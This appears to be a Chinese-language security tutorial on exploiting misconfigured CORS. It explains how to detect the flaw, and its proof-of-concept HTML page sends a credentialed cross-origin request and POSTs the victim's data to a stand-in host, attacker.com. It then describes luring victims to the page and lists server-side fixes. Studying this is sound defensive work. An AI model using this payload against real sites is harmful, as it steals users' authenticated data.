图片参考文章:浅析CORS攻击及其挖洞思路 - 先知社区 (aliyun.com)
背景
由于同源长策略 一些网站要实现跨域来共享资源的话
需要通过设置cors
如果cors配置不当(检验不严格 只是简单校验是否包含该域名)
就可能存在该漏洞
漏洞发现
origin 是源的意思 如果可控 并且返回包会出现以下两个字段
- Access-Control-Allow-Origin
- Access-Control-Allow-Credentials: true
攻击流程
创建恶意poc
攻击者创建恶意网页并使用JavaScript构造跨域请求的poc(一般是获取敏感信息)
如果cors需要绕过的话(子域名接管绕过)还要在poc设置Origin
头为服务器信任的域或子域
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Subdomain Takeover CORS PoC</title>
</head>
<body>
<script>
// 构造跨域请求,设置Origin为已接管的子域名
fetch("https://vulnerable.com/sensitive-data", {
method: "GET",
headers: {
"Origin": "https://evil.trusted.com" // 设置伪造的Origin头
},
credentials: "include" // 包含用户的认证信息(如cookies)
})
.then(response => response.text())
.then(data => {
// 将返回的数据显示或发送到攻击者控制的服务器
console.log(data); // 在控制台显示敏感信息
// 例如:将数据发送到攻击者的服务器
fetch("https://attacker.com/steal-data", {
method: "POST",
body: data,
headers: {
"Content-Type": "application/x-www-form-urlencoded"
}
});
})
.catch(error => console.error("CORS request failed:", error));
</script>
</body>
</html>
诱使受害者点击
诱骗受害者访问该恶意网页
- 将恶意网页托管在你的服务器上,并诱骗受害者访问该网页。
- 受害者浏览器会在访问恶意网页时自动发起跨域请求,携带认证信息(如cookies)向目标网站发送请求。
攻击者获取数据
然后将获取的数据显发送回攻击者控制的服务器
- 当目标服务器返回响应数据时,浏览器会根据CORS头判断是否允许访问数据。
- 如果服务器误信任了恶意
Origin
,浏览器将允许JavaScript访问响应数据。 - 将获取的数据显示在控制台、存储在本地,或发送回攻击者控制的服务器
漏洞修复
-
限制
Access-Control-Allow-Origin
:- 不使用
*
通配符。 - 只允许特定的可信任域名(如
https://trusted.com
)。
- 不使用
-
控制
Access-Control-Allow-Credentials
:- 仅在必要时使用
Access-Control-Allow-Credentials: true
。 - 确保与明确的
Origin
配对使用,避免与*
一起使用。
- 仅在必要时使用
-
限制HTTP方法和头部:
- 通过
Access-Control-Allow-Methods
只允许需要的HTTP方法(如GET
,POST
)。 - 通过
Access-Control-Allow-Headers
限制允许的请求头。
- 通过
-
服务器端验证
Origin
:- 在服务器端检查
Origin
,确保只有可信来源被允许。
- 在服务器端检查
-
限制
Access-Control-Max-Age
:- 限制预检请求的缓存时间,避免过长时间的策略缓存。